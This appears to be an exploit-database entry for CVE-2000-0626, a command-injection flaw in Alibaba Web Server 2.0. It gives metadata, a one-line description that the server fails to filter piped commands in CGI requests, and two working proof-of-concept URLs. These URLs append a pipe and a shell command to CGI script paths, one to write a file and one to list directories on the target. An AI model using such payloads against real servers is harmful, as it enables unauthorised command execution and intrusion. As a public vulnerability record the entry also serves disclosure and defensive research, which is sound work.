Computer Software Manufaktur Alibaba 2.0 - Piped Command

Author: Prizm
type: remote
platform: cgi
port: 
date_added: 2000-07-18  
date_updated: 2012-07-24  
verified: 1  
codes: CVE-2000-0626;OSVDB-5980;OSVDB-5979;OSVDB-5978;OSVDB-5977;OSVDB-5976;OSVDB-5975;OSVDB-5974;OSVDB-5973;OSVDB-12  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 20085.txt  

source: https://www.securityfocus.com/bid/1485/info

Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine.

http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt
http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir]